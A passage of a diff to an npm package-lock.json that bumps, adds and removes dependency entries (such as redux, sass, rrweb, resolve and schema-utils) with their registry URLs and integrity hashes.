"https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "p-locate": "^4.1.0" - } - }, - "p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "optional": true, - "peer": true - }, - "type-fest": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", - "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", - "dev": true, - "optional": true, - "peer": true - } - } - }, "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -30443,33 +25478,18 @@ } }, "readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "dev": true, - "requires": { - "picomatch": "^2.2.1" - } + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.0.1.tgz", + "integrity": "sha512-GkMg9uOTpIWWKbSsgwb5fA4EavTR+SG/PMPoAY8hkhHfEEY0/vqljY+XHqtDf2cr2IJtoNRDbrrEpZUiZCkYRw==", + "dev": true }, "rechoir": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.7.1.tgz", - "integrity": "sha512-/njmZ8s1wVeR6pjTZ+0nCnv8SpZNRMT2D1RLOJQESlYFDBvwpTA4KWJpZ+sBJ4+vhjILRcK7JIFdGCdxEAAitg==", - "dev": true, - "requires": { - "resolve": "^1.9.0" - } - }, - "redent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", - "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.8.0.tgz", + "integrity": "sha512-/vxpCXddiX8NGfGO/mTafwjq4aFa/71pvamip0++IQk3zG8cbCj0fifNPrjjF1XMXUne91jL9OoxmdykoEtifQ==", "dev": true, - "optional": true, - "peer": true, "requires": { - "indent-string": "^4.0.0", - "strip-indent": "^3.0.0" + "resolve": "^1.20.0" } }, "reduce-reducers": { @@ -30478,11 +25498,24 @@ "integrity": "sha512-Mb2WZ2bJF597exiqX7owBzrqJ74DHLK3yOQjCyPAaNifRncE8OD0wFIuoMhXxTnHK07+8zZ2SJEKy/qtiyR7vw==" }, "redux": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/redux/-/redux-4.2.0.tgz", - "integrity": "sha512-oSBmcKKIuIR4ME29/AeNUnl5L+hvBq7OaJWzaptTQJAntaPvxIJqfnjbaEiCzzaIz+XmVILfqAM3Ob0aXLPfjA==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", + "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==" + }, + "reflect.getprototypeof": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", + "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", + "dev": true, "requires": { - "@babel/runtime": "^7.9.2" + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.1", + "which-builtin-type": "^1.2.1" } }, "regenerate": { @@ -30492,26 +25525,31 @@ "dev": true }, "regenerate-unicode-properties": { - "version": "10.0.1", - "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz", - "integrity": "sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==", + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz", + "integrity": "sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==", "dev": true, "requires": { "regenerate": "^1.4.2" } }, "regenerator-runtime": { - "version": "0.13.9", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz", - "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==" + "version": "0.14.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==" }, - "regenerator-transform": { - "version": "0.15.0", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz", - "integrity": "sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==", + "regexp.prototype.flags": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", + "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", "dev": true, "requires": { - "@babel/runtime": "^7.8.4" + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "set-function-name": "^2.0.2" } }, "regexpp": { @@ -30521,40 +25559,32 @@ "dev": true }, "regexpu-core": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.1.0.tgz", - "integrity": "sha512-bb6hk+xWd2PEOkj5It46A16zFMs2mv86Iwpdu94la4S3sJ7C973h2dHpYKwIBGaWSO7cIRJ+UX0IeMaWcO4qwA==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.2.0.tgz", + "integrity": "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==", "dev": true, "requires": { "regenerate": "^1.4.2", - "regenerate-unicode-properties": "^10.0.1", - "regjsgen": "^0.6.0", - "regjsparser": "^0.8.2", + "regenerate-unicode-properties": "^10.2.0", + "regjsgen": "^0.8.0", + "regjsparser": "^0.12.0", "unicode-match-property-ecmascript": "^2.0.0", - "unicode-match-property-value-ecmascript": "^2.0.0" + "unicode-match-property-value-ecmascript": "^2.1.0" } }, "regjsgen": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.6.0.tgz", - "integrity": "sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==", + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==", "dev": true }, "regjsparser": { - "version": "0.8.4", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.8.4.tgz", - "integrity": "sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==", + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.12.0.tgz", + "integrity": "sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==", "dev": true, "requires": { - "jsesc": "~0.5.0" - }, - "dependencies": { - "jsesc": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", - "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", - "dev": true - } + "jsesc": "~3.0.2" } }, "request": { @@ -30611,27 +25641,16 @@ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==" }, - "requires-port": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", - "dev": true - }, "resolve": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.0.tgz", - "integrity": "sha512-Hhtrw0nLeSrFQ7phPp4OOcVjLPIeMnRlr5mcnVuMe7M/7eBn98A3hmFRLoFo3DLZkivSYwhRUJTyPyWAk56WLw==", + "version": "1.22.10", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz", + "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==", "requires": { - "is-core-module": "^2.8.1", + "is-core-module": "^2.16.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" } }, - "resolve-alpn": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", - "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" - }, "resolve-cwd": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", @@ -30656,49 +25675,11 @@ "dev": true }, "resolve.exports": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.0.tgz", - "integrity": "sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ==", - "dev": true - }, - "responselike": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", - "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", - "requires": { - "lowercase-keys": "^2.0.0" - }, - "dependencies": { - "lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" - } - } - }, - "retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=", - "dev": true, - "optional": true, - "peer": true - }, - "reusify": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-2.0.2.tgz", + "integrity": "sha512-X2UW6Nw3n/aMgDVy+0rSqgHlv39WZAlZrXCdnbyEiKm17DSqHX4MmQMaST3FbeWR5FTuRcUwYAziZajji0Y7mg==", "dev": true }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, "ripemd160": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.2.tgz", @@ -30716,13 +25697,41 @@ "bn.js": "^5.2.0" } }, - "run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, + "rrdom": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/rrdom/-/rrdom-2.0.0-alpha.18.tgz", + "integrity": "sha512-fSFzFFxbqAViITyYVA4Z0o5G6p1nEqEr/N8vdgSKie9Rn0FJxDSNJgjV0yiCIzcDs0QR+hpvgFhpbdZ6JIr5Nw==", + "requires": { + "rrweb-snapshot": "^2.0.0-alpha.18" + } + }, + "rrweb": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/rrweb/-/rrweb-2.0.0-alpha.18.tgz", + "integrity": "sha512-1mjZcB+LVoGSx1+i9E2ZdAP90fS3MghYVix2wvGlZvrgRuLCbTCCOZMztFCkKpgp7/EeCdYM4nIHJkKX5J1Nmg==", + "requires": { + "@rrweb/types": "^2.0.0-alpha.18", + "@rrweb/utils": "^2.0.0-alpha.18", + "@types/css-font-loading-module": "0.0.7", + "@xstate/fsm": "^1.4.0", + "base64-arraybuffer": "^1.0.1", + "mitt": "^3.0.0", + "rrdom": "^2.0.0-alpha.18", + "rrweb-snapshot": "^2.0.0-alpha.18" + } + }, + "rrweb-cssom": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", + "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==", + "dev": true + }, + "rrweb-snapshot": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/rrweb-snapshot/-/rrweb-snapshot-2.0.0-alpha.18.tgz", + "integrity": "sha512-hBHZL/NfgQX6wO1D9mpwqFu1NJPpim+moIcKhFEjVTZVRUfCln+LOugRc4teVTCISYHN8Cw5e2iNTWCSm+SkoA==", "requires": { - "queue-microtask": "^1.2.2" + "postcss": "^8.4.38" } }, "rustbn.js": { @@ -30730,6 +25739,42 @@ "resolved": "https://registry.npmjs.org/rustbn.js/-/rustbn.js-0.2.0.tgz", "integrity": "sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA==" }, + "rxjs": { + "version": "7.8.2", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz", + "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==", + "requires": { + "tslib": "^2.1.0" + }, + "dependencies": { + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } + } + }, + "safe-array-concat": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz", + "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==", + "dev": true, + "requires": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "has-symbols": "^1.1.0", + "isarray": "^2.0.5" + }, + "dependencies": { + "isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + } + } + }, "safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", @@ -30743,43 +25788,58 @@ "events": "^3.0.0" } }, + "safe-push-apply": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz", + "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", + "dev": true, + "requires": { + "es-errors": "^1.3.0", + "isarray": "^2.0.5" + }, + "dependencies": { + "isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + } + } + }, + "safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "dev": true, + "requires": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + } + }, "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "sass": { - "version": "1.54.8", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.54.8.tgz", - "integrity": "sha512-ib4JhLRRgbg6QVy6bsv5uJxnJMTS2soVcCp9Y88Extyy13A8vV0G1fAwujOzmNkFQbR3LvedudAMbtuNRPbQww==", + "version": "1.89.2", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.89.2.tgz", + "integrity": "sha512-xCmtksBKd/jdJ9Bt9p7nPKiuqrlBMBuuGkQlkhZjjQk3Ty48lv93k5Dq6OPkKt4XwxDJ7tvlfrTa1MPA9bf+QA==", "dev": true, "requires": { - "chokidar": ">=3.0.0 <4.0.0", - "immutable": "^4.0.0", + "@parcel/watcher": "^2.4.1", + "chokidar": "^4.0.0", + "immutable": "^5.0.2", "source-map-js": ">=0.6.2 <2.0.0" } }, - "sass-graph": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-4.0.0.tgz", - "integrity": "sha512-WSO/MfXqKH7/TS8RdkCX3lVkPFQzCgbqdGsmSKq6tlPU+GpGEsa/5aW18JqItnqh+lPtcjifqdZ/VmiILkKckQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "glob": "^7.0.0", - "lodash": "^4.17.11", - "scss-tokenizer": "^0.3.0", - "yargs": "^17.2.1" - } - }, "sass-loader": { - "version": "13.0.2", - "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-13.0.2.tgz", - "integrity": "sha512-BbiqbVmbfJaWVeOOAu2o7DhYWtcNmTfvroVgFXa6k2hHheMxNAeDHLNoDy/Q5aoaVlz0LH+MbMktKwm9vN/j8Q==", + "version": "14.2.1", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-14.2.1.tgz", + "integrity": "sha512-G0VcnMYU18a4N7VoNDegg2OuMjYtxnqzQWARVWCIVSZwJeiL9kg8QMsuIZOplsJgTzZLF6jGxI3AClj8I9nRdQ==", "dev": true, "requires": { - "klona": "^2.0.4", "neo-async": "^2.6.2" } }, @@ -30802,14 +25862,44 @@ } }, "schema-utils": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", - "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.3.2.tgz", + "integrity": "sha512-Gn/JaSk/Mt9gYubxTtSn/QCV4em9mpAPiR1rqy/Ocu19u/G9J5WWdNoUT4SiV6mFC3y6cxyFcFwdzPM3FgxGAQ==", "dev": true, "requires": { - "@types/json-schema": "^7.0.5", - "ajv": "^6.12.4", - "ajv-keywords": "^3.5.2" + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "dependencies": { + "ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + } } }, "scrypt-js": { @@ -30817,41 +25907,26 @@ "resolved": "https://registry.npmjs.org/scrypt-js/-/scrypt-js-3.0.1.tgz", "integrity": "sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==" }, - "scss-tokenizer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.3.0.tgz", - "integrity": "sha512-14Zl9GcbBvOT9057ZKjpz5yPOyUWG2ojd9D5io28wHRYsOrs7U95Q+KNL87+32p8rc+LvDpbu/i9ZYjM9Q+FsQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "js-base64": "^2.4.3", - "source-map": "^0.7.1" - }, - "dependencies": { - "source-map": { - "version": "0.7.3", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", - "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", - "dev": true, - "optional": true, - "peer": true - } - } - }, "search-params": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/search-params/-/search-params-3.0.0.tgz", "integrity": "sha512-8CYNl/bjkEhXWbDTU/K7c2jQtrnqEffIPyOLMqygW/7/b+ym8UtQumcAZjOfMLjZKR6AxK5tOr9fChbQZCzPqg==" }, "secp256k1": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.2.tgz", - "integrity": "sha512-UDar4sKvWAksIlfX3xIaQReADn+WFnHvbVujpcbr+9Sf/69odMwy2MUsz5CKLQgX9nsIyrjuxL2imVyoNHa3fg==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.4.tgz", + "integrity": "sha512-6JfvwvjUOn8F/jUoBY2Q1v5WY5XS+rj8qSe0v8Y4ezH4InLgTEeOOPQsRll9OV429Pvo6BCHGavIyJfr3TAhsw==", "requires": { - "elliptic": "^6.5.2", - "node-addon-api": "^2.0.0", + "elliptic": "^6.5.7", + "node-addon-api": "^5.0.0", "node-gyp-build": "^4.2.0" + }, + "dependencies": { + "node-addon-api": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-5.1.0.tgz", + "integrity": "sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==" + } } }, "select": { @@ -30865,116 +25940,85 @@ "integrity": "sha512-O4OZEaNtkMd/K0i6js9SL+gqy0ZCBMgUvlSqHKi4IBdjhe7wB8pwztUk1BbZ1fmrvpwFrPbHzqd2w5pTcJH6LA==" }, "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" - }, - "send": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", - "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", - "requires": { - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "mime": "1.6.0", - "ms": "2.1.3", - "on-finished": "2.4.1", - "range-parser": "~1.2.1", - "statuses": "2.0.1" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": 